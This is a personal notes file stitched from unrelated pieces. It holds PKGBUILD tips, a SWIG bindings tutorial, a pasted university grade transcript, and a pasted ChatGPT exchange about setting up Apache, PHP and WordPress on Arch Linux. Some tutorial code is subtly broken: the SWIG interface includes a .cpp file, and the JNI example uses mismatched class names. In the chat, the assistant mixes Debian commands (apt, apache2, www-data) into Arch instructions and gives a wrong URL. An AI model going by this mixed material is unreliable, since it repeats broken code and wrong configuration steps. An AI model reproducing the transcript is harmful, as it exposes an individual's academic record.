  1. PKGBUILD Best Practices ✔ Always verify checksums (sha256sums) to prevent tampering. ✔ Use clean variables ($srcdir, $pkgdir) to avoid polluting the build environment. ✔ Test builds in a clean chroot:
extra-x86_64-build

✔ Avoid hardcoding paths; use:

install -Dm755 mysoftware "$pkgdir/usr/bin/mysoftware"
  1. Conclusion PKGBUILD is a powerful tool for packaging, shipping, and automating software builds in Arch Linux. Whether you're compiling from source or distributing prebuilt binaries, it streamlines deployment and ensures a reproducible and efficient workflow.

SWIG (Simplified Wrapper and Interface Generator)

Swig is a tool that connects C/C++ code with other programming languages (like Python, Java, etc.), enabling cross-language interaction.

Packaging

  • Various bindings: There are packages like python-swig, python-swiglpk, and python-cgal, which are Python bindings or wrappers created using SWIG to connect C++ libraries to Python.
  • swig-cli: A command-line interface to interact with SWIG (though it might be a different tool by name).
  • swig2 and swig3: Older versions of SWIG (version 2.x and 3.x).
  • Other packages: Many packages that use SWIG for creating bindings for C++ libraries to other languages (like Python, NodeJS, etc.).

S.W.I.G (Simplified Wrapper and Interface Generator) is a tool that simplifies the process of integrating C and C++ code with high-level programming languages such as Python, Java, Ruby, and many others. Here's how it can help in the development, production, and shipping of software:

Cross-Language Integration:

SWIG's primary role is to generate bindings between C/C++ and other programming languages. This means that it helps C/C++ code to be accessed from high-level languages like Python or Java. This is particularly useful when you want to write performance-critical code in C/C++ but want to interact with it using the simplicity and flexibility` of languages like Python.

How SWIG Helps in Development:

  • Rapid Prototyping: Developers can build performance-intensive parts of their application in C/C++ while still working in a higher-level language for the majority of the code. For example, a complex algorithm or computation can be written in C++, and then Python can be used to call this code for quick testing or prototyping.
  • Simplifying Integration*: Instead of manually writing code to interact between C/C++ and another language, SWIG automatically generates the wrapper code. This reduces the burden of integration and minimizes human error.
  • Reduced Code Duplication*: When developing a project that needs to support multiple languages, instead of writing separate interfaces for each language, SWIG allows you to write the interface once and generate bindings for all target languages.

How SWIG Helps in Production:

  • Optimized Code Execution: SWIG enables high-performance execution for computationally heavy tasks. You can leverage the speed of C/C++ while keeping the rest of your application flexible with high-level languages.
  • Scalability: SWIG makes it easier to scale projects across different languages and environments, since you can write the core logic in C++ and interact with it in multiple languages.
  • Simplified Maintenance: By using SWIG to generate bindings, you avoid the need for custom code maintenance. This leads to easier long-term maintenance of both the C/C++ code and the interfaces between languages.

How SWIG Helps in Shipping Software:

  • Cross-Platform Support: With SWIG, you can generate bindings for multiple languages on different platforms. This allows you to write a core library once (in C/C++) and ship it across different environments without needing to rewrite language-specific interfaces.
  • Faster Development Cycles: Since SWIG automates the process of creating language bindings, you spend less time on low-level integration and more time on building features, which shortens release cycles and speeds up shipping.
  • Easier Packaging: For packaging software, especially in open-source projects, SWIG-generated wrappersSmake it much easier to distribute and integrate the core functionality into various ecosystems without needing to manually package language-specific bindings.

Real-World Use Cases:

  • Scientific Computing: In fields like data science or machine learning, developers often write performance-critical components in C/C++ and use Python to interface with them. SWIG can automate the generation of bindings between the Python code and the C++ libraries.
  • Game Development: Many game engines (like Unreal Engine) or physics engines are written in C/C++ for performance reasons. SWIG allows game developers to use high-level languages like Python or Lua to script behavior without sacrificing performance.
  • Embedded Systems: In embedded systems development, SWIG can help bridge low-level hardware control written in C with higher-level user interfaces or control systems written in Python or JavaScript.

✅ Advantages of Using SWIG:

  • Automation: It automates the process of creating wrappers for multiple languages, reducing the manual work and complexity.
  • *`Consistency: Ensures that the integration between C/C++ and the high-level language is consistent and doesn’t require duplicate maintenance.
  • Efficiency: Enables efficient cross-language calls without needing to manually write binding code.
  • Extensibility: SWIG can generate bindings for many programming languages, making it a versatile tool in multi-language development environments.

❌ Limitations:

  • Learning Curve: There is a learning curve to understand how to use SWIG and how to structure the interface files properly.
  • *Complex C++ Features:*Some advanced C++ features (like templates or multiple inheritance) can be tricky to bind with SWIG, and might require special handling.
  • Overhead: While SWIG reduces integration effort, there may still be some performance overhead when crossing language boundaries, especially for very frequent or deep function calls.

Getting started

To get started with a workflow where you program in higher-level languages (e.g., Python, Java) and then convert your code into lower-level code (e.g., C, C++), there are a few approaches depending on the tools you want to use. Here's how you can set this up using a combination of SWIG, C/C++, and a higher-level language:

Step 1: Plan Your Project Structure

High-level language: Start by identifying the high-level language you want to use (e.g., Python, Java). This is where most of your application logic will be written. Low-level language: Identify the performance-critical parts of your application that need to be written in C/C++.

Step 2: Write Your C/C++ Code

Core Logic in C/C++: Write the core computational parts of your application in C/C++. These could be functions or classes that are performance-sensitive or need access to system resources. Functionality: Make sure the C/C++ code is modular and exposes functions that can be easily called from another language. For example, you might write a set of mathematical or data processing functions in C++.

Example C++ Code:

// mymath.cpp
# include <iostream>

extern "C" {
    // A simple C++ function
    int add(int a, int b) {
        return a + b;
    }
}

The` extern "C" block ensures that the C++ code is callable from C``, making it easier for SWIG or other tools to generate wrappers.

Step 3: Generate Bindings with SWIG

Create an Interface File: SWIG uses an interface file (.i file) to know how to connect your C/C++ code with the target high-level language. In the interface file, you will define the functions or classes from C/C++ that you want to expose to your high-level language..

Example SWIG Interface File (mymath.i):

%module mymath

%{
#include "mymath.cpp"
%}

%include "mymath.cpp"

This tells SWIG to include mymath.cpp and generate bindings for it.

  • In the %module directive, you define the module name, which will be used by the high-level language (e.g., Python will use import complex_math).
  • The %{ ... %} block is where you include the necessary header files.

Run SWIG to Generate the Wrapper Code: Run SWIG on the interface file to generate wrapper code that can be used in your target language.

swig -python -c++ mymath.i

This command tells SWIG to generate Python bindings for your C++ code. It will produce:

  • mymath_wrap.cxx: The C++ file containing the wrapper code.
  • mymath.py: The Python interface to the C++ code./A Python module that contains the bindings to the C++ code.

If you are targeting another language, replace -pythonwith the corresponding language (e.g., -java for Java).

Handle Exceptions and Errors:

SWIG automatically wraps C++ exceptions for some languages (e.g., Python), but you should manually handle exceptions in the interface file if necessary. Example (complex_math.i with exception handling):


%exception {
    try {
        $action
    } catch (const std::exception &e) {
        PyErr_SetString(PyExc_RuntimeError, e.what());
        return NULL;
    }
}

Step 4: Compile the C/C++ Code and Bindings

Once SWIG generates the wrapper, you need to compile the C/C++ code along with the wrapper into a shared library that your high-level language can load. The specifics of this depend on the platform and the target language.

  • Python (Linux Example)
g++ -shared -o _mymath.so -fPIC mymath_wrap.cxx -I/usr/include/python3.x -lpython3.x

This compiles the C++ code and the SWIG-generated wrapper into a shared object (.so file) that Python can load and links it to the Python interpreter..

  • For Java (JNI Example):

Use the Java Native Interface (JNI) to integrate C/C++ with Java. JNI is more complex than SWIG but provides deeper integration with Java.

Example command for creating a Java-native shared library:

javac ComplexMath.java  # Compiles Java code
javah ComplexMath       # Generates JNI header file
gcc -shared -o libcomplexmath.so -I/usr/lib/jvm/java-11-openjdk/include complex_math.cpp

Step 5: Write High-Level Code

Use the Generated Bindings in the High-Level Language: Once you have the shared library (_mymath.so), you can use it directly in your high-level language like Python. Example Python Code:

import mymath

#Use the C++ function through Python
result = mymath.add(5, 3)
print(f"Result from C++ code: {result}")

Java Example (JNI):

public class ComplexMath {
    static {
        System.loadLibrary("mymath");
    }

    public native double computeSqrt(double x);
}

MyMath cm = new MyMath();
double result = cm.computeSqrt(16);
System.out.println("Result from C++: " + result);

Advanced Techniques

To refine your workflow further, consider these advanced techniques:

Static vs. Dynamic Linking: Static Linking: Embeds C++ code into the executable, reducing the need for shared libraries. Dynamic Linking: Creates shared libraries (.so, .dll, .dylib) that are loaded at runtime. This allows for updates without recompiling the entire project.

Cross-Platform Development: Use CMake to automate the build process, handle cross-platform compilation, and ensure compatibility with different OSes. CMake Example:

cmake_minimum_required(VERSION 3.0)
project(ComplexMath)

find_package(Python3 REQUIRED)
include_directories(${Python3_INCLUDE_DIRS})

add_library(complex_math MODULE complex_math_wrap.cxx complex_math.cpp)
target_link_libraries(complex_math ${Python3_LIBRARIES})

Testing & Benchmarking: Test the performance of your system with tools like Google Benchmark for C++, or use Python's timeit for timing the function calls. For more advanced benchmarking, compare the execution time between Python and the C++ code to ensure the performance improvements are significant.

Shipping and Deployment

When preparing to ship your software: Package the Shared Libraries: For Linux, package the .so files in a distribution like .deb or .rpm. On macOS, use .dylib, and on Windows, .dll. Include a Setup Script: For Python, you can create a setup.py script to simplify installation:

from setuptools import setup, Extension

module = Extension('mymath', sources=['mymath_wrap.cxx', 'mymath.cpp'])

setup(name='ComplexMath',
      version='1.0',
      description='Complex math operations',
      ext_modules=[module])

By following this detailed and precise approach, you can create a clean workflow that integrates high-level languages with low-level C/C++ code, ensuring performance and maintainability throughout the development lifecycle.

Additional Tools and Approaches

Cython (for Python):

If you are working with Python, you can use Cython to write Python code that gets compiled into C code. This can provide performance improvements without needing to write low-level C++ code.

Pybind11:

For modern C++ code, Pybind11 is a popular alternative to SWIG for generating Python bindings. It's more lightweight and easier to integrate with C++11 and newer features.

Jython (for Java):

If you're targeting Java, Jython allows you to write Java extensions in Python, but you can also create Java bindings for C++ through tools like JNI (Java Native Interface) or SWIG.

Other Bindings Generators: If you're working with other languages, there are similar tools (e.g., SWIG for Java, Node.js C++ Addons, Ruby FFI, etc.) that allow you to call C/C++ code from higher-level languages.

Windows UI Frameworks

Unit Description CAT Exam Grade Y1S1-SEM1 20/21 COE121 INTRODUCTION TO COMPUTERS AND APPLICATIONS 17 36.5 C IRD107 COMMUNICATION SKILLS FOR ENGINEERS 22 43 B MPE161 ENGINEERING DRAWING I 0 0 MPE161 ENGINEERING DRAWING I 0 0 PHY107 PHYSICS FOR ENGINEERS 27 24 C TEC101 BASIC ENGINEERING MATHEMATICS I 0 0 TEC101 BASIC ENGINEERING MATHEMATICS I 0 0 TEC105 INTRODUCTION TO ENGINEERING PROFESSION AND SAFETY 0 0 TEC105 INTRODUCTION TO ENGINEERING PROFESSION AND SAFETY 0 0 TEC111 INTRODUCTION TO MATERIAL SCIENCE 20 21 D TEC114 BASIC MECHANICS 0 40 D Y1S2-SEM2 20/21 COE162 INTRODUCTION TO COMPUTER PROGRAMMING 14 33 D ECE112 CIRCUIT THEORY I 17 34 C ECE152 ELECTRICAL ENGINEERING MATERIALS 22 22 D MPE166 ENGINEERING DRAWING II A WITH CAD 17 28.2 D TEC103 BASIC ENGINEERING MATHEMATICS II 18 39 C TEC106 INTRODUCTION TO PROBABILITY AND STATISTICS 15 25 D TEC107 HIV / AIDS AWARENESS 0 62 INC TEC112 CHEMISTRY FOR ENGINEERS 20.3 44.5 B Y2S1-SEM1 21/22 COE251 COMPUTER OPERATING SYSTEMS 20 28 D ECE211 CIRCUIT THEORY II 0 34 F ECE231 ELECTRICAL MEASUREMENTS 18 32 C ECE261 BASIC ELECTRICAL MACHINES 17 26 D ECE281 BASIC ELECTRONICS 12 29 D MAT206 NUMERICAL METHODS 23 31 C MAT207 ENGINEERING MATHEMATICS I 23 17 D MPE241 MECHANICS OF MACHINES I 24 39 B Y2S2-SEM2 21/22 COE244 WEB DESIGN AND IMPLEMENTATION 17 49 B ECE242 ELECTROMAGNETIC FIELDS 18 22 D ECE252 ANALOGUE ELECTRONICS I 0 17 F ECE272 BASIC ELECTRICAL POWER 19 45 B ECE282 DIGITAL ELECTRONICS I 13 22 F ECE294 RESEARCH METHODS 18 40 C MAT208 ENGINEERING MATHEMATICS II 23 39 B MPE203 FLUID MECHANICS AND THERMODYNAMICS 8 13 F MPE222 SOLID & STRUCTURAL MECHANICS I 0 40 D Y3S2-SEM2 22/23 COE332 DATABASE DESIGN AND MANAGEMENT 23 42 A COE362 DATA STRUCTURES AND ALGORITHMS 0 44.5 D ECE322 INTRODUCTION TO TELECOMMUNICATIONS ENGINEERING 0 0 ECE342 TRANSMISSION LINES 12 17 F ECE352 ANALOGUE ELECTRONICS III 14 26 F ECE362 ELECTRICAL MACHINES II 15 29 D ECE372 ELECTRICAL POWER SYSTEMS I 17 41 C ECE382 MICROPROCESSOR SYSTEMS AND ASSEMBLY LANGUAGE PROGRAMMING 10 32 D Y4S1-SEM1 22/23 COE361 OBJECT-ORIENTED PROGRAMMING 15 42.5 C ECE311 NETWORK ANALYSIS &SYNTHESIS 30 26 B ECE321 SIGNALS 16 32 D ECE331 CONTROL SYSTEMS I 11 11 F ECE341 ELECTROMAGNETIC WAVES 7 33 F ECE351 ANALOGUE ELECTRONICS II 13 28 D ECE361 ELECTRICAL MACHINES I 17 35 C ECE381 DIGITAL ELECTRONICS II 20 29.5 C ECE290 Workshop Practice 0 40 D Y4S1-SEM1 23/24 ECE390 INDUSTRIAL ATTACHMENT I 0 0 ECE421 COMMUNICATION NETWORKS 0 21 INC ECE423 DIGITAL COMMUNICATION 0 24.5 INC ECE433 CONTROL SYSTEMS II 0 3 INC ECE451 POWER ELECTRONICS I 21 19 D ECE471 ELECTRICAL POWER SYSTEMS II 0 16 INC ECE481 MICROPROCESSOR INTERFACING AND APPLICATIONS 0 0 ECE493 ENGINEERING PROJECT I 0 42 D MAT407 COMPLEX ANALYSIS I 0 0 Y4S2-SEM2 23/24 ECE211 CIRCUIT THEORY II 0 0 ECE252 ANALOGUE ELECTRONICS I 0 0 ECE282 DIGITAL ELECTRONICS I 0 0 ECE331 CONTROL SYSTEMS I 0 0 ECE341 ELECTROMAGNETIC WAVES 0 0 ECE342 TRANSMISSION LINES 0 0 ECE352 ANALOGUE ELECTRONICS III 0 0 MPE203 FLUID MECHANICS AND THERMODYNAMICS 0 0 ECE426 AUDIO ENGINEERING 19 46 B ECE432 INSTRUMENTATION 12 29 D ECE438 DIGITAL CONTROL 0 2 F ECE442 RADIO COMMUNICATION SYSTEMS 14 26 D ECE444 ANTENNA ENGINEERING 7.5 28 F ECE446 MICROWAVE DEVICES & SYSTEMS 14 16 F ECE452 POWER ELECTRONICS II 14 15 F ECE494 ENGINEERING MANAGEMENT 0 50 INC

  1. Enable and Start Apache and MariaDB After installation, you need to start Apache and MariaDB services:

    bash

    Copy

    sudo systemctl start httpd sudo systemctl enable httpd sudo systemctl start mariadb sudo systemctl enable mariadb

  2. Edit the Apache Configuration File (httpd.conf) to Enable PHP

    • Open the Apache configuration file:

    bash

    Copy

    sudo nano /etc/httpd/conf/httpd.conf

    • Look for the line that loads the PHP module. You'll want to make sure PHP is enabled in Apache.

      Search for this line and uncomment it (remove the # at the beginning of the line):

      bash

      Copy

      LoadModule php_module modules/libphp.so

    • Next, tell Apache how to handle PHP files. Scroll to the end of the file and add the following line (if it’s not already there):

      bash

      Copy

      AddHandler application/x-httpd-php .php

    • Then, ensure the PHP directory is configured correctly by adding this line (if it’s missing):

      bash

      Copy

      Include conf/extra/php_module.conf

  3. Create a phpinfo() File to Test PHP

    To verify that PHP is working correctly, you can create a test PHP file. This will help you confirm that Apache is serving PHP files.

    • Create a test file in the web directory (usually /srv/http/ for Arch Linux):

    bash

    Copy

    sudo nano /srv/http/info.php

    • Add the following content to this file:

    php

    Copy

    <?php phpinfo(); ?>

    • Save and close the file.
  4. Restart Apache

    After making these changes, restart Apache to apply the configuration:

    bash

    Copy

    sudo systemctl restart httpd

  5. Test PHP in Your Browser

    Now, open your browser and go to:

    arduino

    Copy

    http://localhost/info.php

    If everything is set up correctly, you should see the PHP info page, which provides information about the PHP version and installed modules.

  6. Secure Your PHP Setup (Optional but recommended)

    After testing, delete the info.php file to prevent others from accessing it:

    bash

    Copy

    sudo rm /srv/http/info.php


Step-by-Step Troubleshooting and Configuration

1. Check Apache Configuration

Make sure Apache is properly configured to serve files from /srv/http/.

  1. Edit the Apache configuration file (httpd.conf):

    bash

    Copy

    sudo nano /etc/httpd/conf/httpd.conf

  2. Ensure that the DocumentRoot points to the correct directory (/srv/http):

    Look for the following line:

    apache

    Copy

    DocumentRoot "/srv/http"

    This tells Apache to serve files from /srv/http/. If this line is missing or incorrect, update it to point to /srv/http.

  3. Ensure Directory settings are correct for /srv/http:

    You should have a <Directory> block that looks like this (it tells Apache how to handle files in the /srv/http directory):

    apache

    Copy

    <Directory "/srv/http"> AllowOverride None Options Indexes FollowSymLinks Require all granted </Directory>

    This allows Apache to serve files from /srv/http and grants appropriate permissions.

  4. Save and exit (Ctrl + X, then Y to confirm changes).

2. Ensure PHP Module is Loaded

You need to make sure the PHP module is correctly loaded in Apache:

  1. Open the Apache configuration file (httpd.conf) again:

    bash

    Copy

    sudo nano /etc/httpd/conf/httpd.conf

  2. Search for and uncomment the line that loads the PHP module. Look for this line:

    apache

    Copy

    #LoadModule php_module modules/libphp.so

    If it's commented out (i.e., starts with a #), remove the # to enable it:

    apache

    Copy

    LoadModule php_module modules/libphp.so

  3. Ensure PHP is set to handle .php files. You should have this directive (if not, add it at the end of the file):

    apache

    Copy

    AddHandler application/x-httpd-php .php

  4. Save and exit the configuration file.

3. Test PHP Configuration

  1. Create a test PHP file (if not already done) inside /srv/http:

    bash

    Copy

    sudo nano /srv/http/info.php

  2. Add the following PHP code:

    php

    Copy

    <?php phpinfo(); ?>

  3. Set correct permissions for the info.php file to make sure Apache can read it:

    bash

    Copy

    sudo chown http:http /srv/http/info.php

4. Check if PHP is Installed

Make sure PHP is installed correctly by running the following command:

bash

Copy

php -v

If PHP is installed correctly, you should see the PHP version displayed. If PHP is not installed or misconfigured, you will need to install or reinstall it:

bash

Copy

sudo pacman -S php php-apache

5. Restart Apache

After making all the changes, restart Apache for the configuration to take effect:

bash

Copy

sudo systemctl restart httpd

6. Check Apache Status

Make sure that Apache is running without issues:

bash

Copy

sudo systemctl status httpd

If Apache isn't running, check the logs for errors by running:

bash

Copy

sudo journalctl -u httpd

7. Check Apache Error Logs

If PHP still isn't working, check the Apache error logs for any specific errors:

bash

Copy

sudo tail -f /var/log/httpd/error_log

Look for any error messages related to PHP or file permissions that might help you diagnose the issue.

8. Test in the Browser

Finally, open your web browser and go to:

arduino

Copy

http://localhost/info.php

You should see the PHP info page, which shows information about your PHP configuration.

If It Still Doesn't Work:

If PHP still isn't working after following the steps above, it might be due to missing PHP extensions or an incorrect Apache module configuration.

  1. Ensure you have the php-apache package installed:

    bash

    Copy

    sudo pacman -S php-apache

  2. Check if Apache’s PHP module is loaded correctly:

    After running php -v to confirm that PHP is installed, make sure that Apache is loading the correct PHP module:

    bash

    Copy

    sudo nano /etc/httpd/conf/extra/php_module.conf

    Ensure this line exists:

    bash

    Copy

    LoadModule php7_module modules/libphp7.so

    (The exact module might be php_modulephp5_module, or php7_module, depending on your PHP version.)


By following these steps, you should be able to troubleshoot why your info.php file isn't showing up and get it working. Let me know if you need further assistance!

You said:

root@Archie ~ # httpd -k start AH00558: httpd: Could not reliably determine the server's fully qualified domain name, using fe80::879:a6e4:aa37:15ad%enp0s20u3. Set the 'ServerName' directive globally to suppress this message

ChatGPT said:

The error message you're seeing:

vbnet

Copy

AH00558: httpd: Could not reliably determine the server's fully qualified domain name, using fe80::879:a6e4:aa37:15ad%enp0s20u3. Set the 'ServerName' directive globally to suppress this message

This message occurs because Apache is unable to automatically determine the fully qualified domain name (FQDN) of the server. While this isn't typically critical for local or development environments, it can be resolved by setting the ServerName directive.

To resolve the issue, follow these steps:

1. Set the ServerName Directive

  1. Open the Apache configuration file:

    bash

    Copy

    sudo nano /etc/httpd/conf/httpd.conf

  2. Add the ServerName directive. You can set it to the server's IP address or a domain name if you have one. If you don't have a domain, you can simply use localhost or your local network IP address.

    Add the following line at the top of the file or in the httpd.conf section where other global settings are located:

    apache

    Copy

    ServerName localhost

    If you are using a specific domain or IP address, you can replace localhost with that:

    apache

    Copy

    ServerName your-domain.com

    Or, if you're testing locally:

    apache

    Copy

    ServerName 127.0.0.1

  3. Save and close the file (in nano, press Ctrl + X, then Y, and hit Enter).

2. Restart Apache

Once you have added the ServerName directive, restart Apache to apply the changes:

bash

Copy

sudo systemctl restart httpd

3. Verify the Status

Check if Apache starts without issues:

bash

Copy

sudo systemctl status httpd

If everything is configured correctly, the error should no longer appear, and Apache should be running without issues.


Additional Notes:

  • This error does not prevent Apache from running, it is just a warning. Setting the ServerName helps prevent it.
  • The ServerName directive is important if you're running Apache in a production environment with multiple virtual hosts or SSL configurations. In a development environment, setting it to localhost is generally sufficient.
You said:

i have successfully created the cocket at socket=/run/mysqld/mysqld.sock ......how do i procedd from her to acces my wordpress site

ChatGPT said:

Great! Now that you've successfully configured the socket, let's proceed with the steps to access your WordPress site locally.

1. Check MariaDB/MySQL Connection

Now that the socket issue is resolved, first confirm that MariaDB is running properly and can be accessed.

Run the following command to check the MariaDB status:

bash

Copy

sudo systemctl status mariadb

Then try to log into MariaDB (using mariadb instead of mysql):

bash

Copy

mariadb -u root

If successful, you should be able to see the MariaDB prompt.

2. Create a Database for WordPress (if needed)

If you haven't already created a database for WordPress, you can do so now. Once inside the MariaDB prompt, create a database and a user for WordPress.

sql

Copy

CREATE DATABASE wordpress; CREATE USER 'wp_user'@'localhost' IDENTIFIED BY 'your_password'; GRANT ALL PRIVILEGES ON wordpress.* TO 'wp_user'@'localhost'; FLUSH PRIVILEGES; EXIT;

Make sure to replace 'your_password' with a strong password.

3. Edit wp-config.php for Database Connection

Now, you'll need to edit the WordPress configuration file wp-config.php to point to the database you just created.

Open the wp-config.php file located in the root of your WordPress installation:

bash

Copy

nano /var/www/html/wordpress/wp-config.php

Find and update these lines to match your MariaDB settings:

php

Copy

/** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' ); /** MySQL database username */ define( 'DB_USER', 'wp_user' ); /** MySQL database password */ define( 'DB_PASSWORD', 'your_password' ); /** MySQL hostname */ define( 'DB_HOST', 'localhost' );

4. Make Sure Apache and PHP Are Installed

Make sure that you have Apache and PHP installed to serve the WordPress site. Check if Apache is running:

bash

Copy

sudo systemctl status apache2

If it’s not installed, you can install it with:

bash

Copy

sudo apt install apache2 php php-mysqli libapache2-mod-php

Additionally, make sure you have PHP extensions installed for WordPress (like mysqligd, and curl):

bash

Copy

sudo apt install php-mysqli php-gd php-curl php-xml php-mbstring

Restart Apache after installing:

bash

Copy

sudo systemctl restart apache2

5. Place WordPress Files in Web Directory

If you haven't already done so, make sure the WordPress files are located in your web root directory (/var/www/html).

If they aren't there, move the files to the correct location:

bash

Copy

sudo mv /path/to/wordpress/* /var/www/html/

Ensure the correct file permissions:

bash

Copy

sudo chown -R www-data:www-data /var/www/html/ sudo chmod -R 755 /var/www/html/

6. Access WordPress in Browser

At this point, your WordPress site should be accessible via your web browser.

  1. Open a web browser and go to http://localhost or http://127.0.0.1.
  2. You should see the WordPress setup page.
  3. Follow the setup wizard to finish configuring WordPress, including providing the database details (DB_NAME, DB_USER, DB_PASSWORD, DB_HOST) when prompted.

7. (Optional) Set up Apache Virtual Hosts

If you want to use a custom domain (like http://wordpress.local), you can configure Apache virtual hosts. Edit the Apache configuration:

bash

Copy

sudo nano /etc/apache2/sites-available/wordpress.local.conf

Add this configuration (adjust if needed):

apache

Copy

<VirtualHost *:80> ServerAdmin webmaster@localhost DocumentRoot /var/www/html ServerName wordpress.local ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost>

Enable the site and restart Apache:

bash

Copy

sudo a2ensite wordpress.local.conf sudo systemctl restart apache2

To make the domain work, you’ll need to add 127.0.0.1 wordpress.local to your /etc/hosts file:

bash

Copy

sudo nano /etc/hosts

Add the line:

lua

Copy

127.0.0.1 wordpress.local

Now, you should be able to visit http://wordpress.local in your browser.

Conclusion

With these steps, you should have WordPress up and running locally without requiring the MySQL extension or a live database. The next step is to complete the WordPress installation by following the wizard to set up your site.

Let me know if you encounter any issues!

You said:

define('DB_NAME', 'wordpress'); define('DB_USER', 'wpuser'); define('DB_PASSWORD', 'password'); define('DB_HOST', 'localhost'); AND AM USINH /SRV/HTTP REMEBER THIS PLAESE

ChatGPT said:

Got it! Since you're using /srv/http as the root directory for your web server, you'll need to adjust a few things accordingly. Let's go over the steps with this specific setup.

1. Update wp-config.php

Open your wp-config.php file in the WordPress installation directory (/srv/http/wordpress):

bash

Copy

sudo nano /srv/http/wordpress/wp-config.php

Make sure the database connection details in wp-config.php are set to:

php

Copy

/** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' ); /** MySQL database username */ define( 'DB_USER', 'wpuser' ); /** MySQL database password */ define( 'DB_PASSWORD', 'password' ); /** MySQL hostname */ define( 'DB_HOST', 'localhost' );

2. Make Sure WordPress Files Are in /srv/http

Ensure that your WordPress files are actually located in /srv/http. You can do this by checking the directory:

bash

Copy

ls /srv/http/wordpress

If the files are not there yet, move them to the correct directory:

bash

Copy

sudo mv /path/to/wordpress/* /srv/http/wordpress/

3. Set Correct Permissions for WordPress Directory

Make sure the correct permissions are set for your WordPress directory (/srv/http), so the web server can access and modify the files as needed. Run the following:

bash

Copy

sudo chown -R www-data:www-data /srv/http/wordpress sudo chmod -R 755 /srv/http/wordpress

4. Check Apache Configuration

You mentioned using /srv/http, so you need to ensure that Apache is correctly configured to serve files from /srv/http.

Edit Apache Configuration (If Required)

Check the Apache configuration file (/etc/httpd/conf/httpd.conf or /etc/apache2/sites-available/000-default.conf, depending on your system) and ensure the DocumentRoot is set to /srv/http:

bash

Copy

sudo nano /etc/httpd/conf/httpd.conf

or

bash

Copy

sudo nano /etc/apache2/sites-available/000-default.conf

Ensure that DocumentRoot points to /srv/http/wordpress:

apache

Copy

DocumentRoot /srv/http/wordpress

If you make any changes, restart Apache:

bash

Copy

sudo systemctl restart apache2

5. Enable and Start Apache and MariaDB (if not already done)

To ensure Apache and MariaDB are running, use the following commands:

bash

Copy

sudo systemctl start apache2 sudo systemctl start mariadb

Make sure they are enabled at boot:

bash

Copy

sudo systemctl enable apache2 sudo systemctl enable mariadb

6. Check Database Connection

To check if you can connect to the MariaDB database, try to log in to MariaDB as the root user:

bash

Copy

mariadb -u root

Then create the database and user if needed:

sql

Copy

CREATE DATABASE wordpress; CREATE USER 'wpuser'@'localhost' IDENTIFIED BY 'password'; GRANT ALL PRIVILEGES ON wordpress.* TO 'wpuser'@'localhost'; FLUSH PRIVILEGES; EXIT;

7. Access WordPress in Browser

Finally, you should be able to access WordPress in your browser by visiting http://localhost/wordpress or http://127.0.0.1/wordpress. If you configured a custom domain like wordpress.local, use that.

Conclusion

By following these steps, you should be able to run WordPress locally from /srv/http and connect it to the MariaDB database. If you encounter any issues, feel free to reach out!

You said:

root@Archie ~ # ls /srv/http/ index.php wp-blog-header.php wp-includes wp-signup.php info.php wp-comments-post.php wp-links-opml.php wp-trackback.php license.txt wp-config.php wp-load.php xmlrpc.php readme.html wp-config-sample.php wp-login.php wp-activate.php wp-content wp-mail.php wp-admin wp-cron.php wp-settings.php

ChatGPT said:

It looks like your WordPress files are correctly placed under /srv/http/, which is great!

Now that the WordPress files are in place, let's make sure everything is properly set up so you can access your site locally.

Steps to Follow Next:

  1. Check Apache Configuration:

    • Make sure that your Apache configuration is pointing to /srv/http as the document root. You need to verify the Apache configuration as described earlier:

    Edit the Apache config file:

    bash

    Copy

    sudo nano /etc/httpd/conf/httpd.conf

    Ensure the following line is set:

    apache

    Copy

    DocumentRoot "/srv/http"

    If it is already set, make sure to also adjust the <Directory> directive to match:

    apache

    Copy

    <Directory "/srv/http"> AllowOverride All Require all granted </Directory>

  2. Enable .htaccess: WordPress uses .htaccess files for things like permalinks, so you need to ensure that .htaccess files are allowed to override settings. If you added the line for AllowOverride All in the previous step, then it should be good to go.

  3. Restart Apache: After updating the Apache config file, restart Apache to apply the changes:

    bash

    Copy

    sudo systemctl restart apache2

  4. Verify MySQL/MariaDB Connection: Ensure that your database is created and accessible. If you haven't already created the database, do so with these commands:

    bash

    Copy

    mariadb -u root

    Inside the MariaDB shell, create the database and user:

    sql

    Copy

    CREATE DATABASE wordpress; CREATE USER 'wpuser'@'localhost' IDENTIFIED BY 'password'; GRANT ALL PRIVILEGES ON wordpress.* TO 'wpuser'@'localhost'; FLUSH PRIVILEGES; EXIT;

    If the database and user are already created, you can skip this step.

  5. Check wp-config.php: Double-check your wp-config.php file to ensure the correct database credentials are there:

    php

    Copy

    /** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' ); /** MySQL database username */ define( 'DB_USER', 'wpuser' ); /** MySQL database password */ define( 'DB_PASSWORD', 'password' ); /** MySQL hostname */ define( 'DB_HOST', 'localhost' );

  6. Access WordPress in Browser: Open your web browser and visit:

    arduino

    Copy

    http://localhost/wordpress

    If you're not redirected to the WordPress installation page, it might be an issue with the .htaccess file. In that case, you can try clearing your browser cache or ensuring that .htaccess is configured correctly.


Final Check:

If everything is set up correctly, you should now see the WordPress setup page, where you can finish the installation process by selecting a language and setting up the admin account.

Let me know if you run into any issues during these steps!

You said:

define('DB_NAME', 'wordpress'); define('DB_USER', 'wpuser'); define('DB_PASSWORD', 'password'); define('DB_HOST', 'localhost');Object not found! The requested URL was not found on this server. If you entered the URL manually please check your spelling and try again. If you think this is a server error, please contact the webmaster. Error 404 localhost Apache/2.4.62 (Unix) PHP/8.4.3

ChatGPT said:

It seems like you're encountering a 404 error, meaning that Apache can't find the requested WordPress page. Let's troubleshoot this step-by-step.

Things to Check:

  1. Verify WordPress Directory Location: Ensure your WordPress files are indeed in the /srv/http/ directory. From your previous output, it looks like they are, but let's confirm.

    Run the following command to list the files in /srv/http/:

    bash

    Copy

    ls /srv/http/

    The list should include files like index.phpwp-config.phpwp-content/, etc. If they're missing, then WordPress might not be installed correctly in that directory.

  2. Check Apache Configuration: Double-check the Apache configuration to ensure the DocumentRoot is pointing to /srv/http/. Run:

    bash

    Copy

    sudo nano /etc/httpd/conf/httpd.conf

    Ensure the DocumentRoot is set correctly:

    apache

    Copy

    DocumentRoot "/srv/http"

    And the <Directory> directive should be:

    apache

    Copy

    <Directory "/srv/http"> AllowOverride All Require all granted </Directory>

    After making any changes, restart Apache to apply the configuration:

    bash

    Copy

    sudo systemctl restart httpd

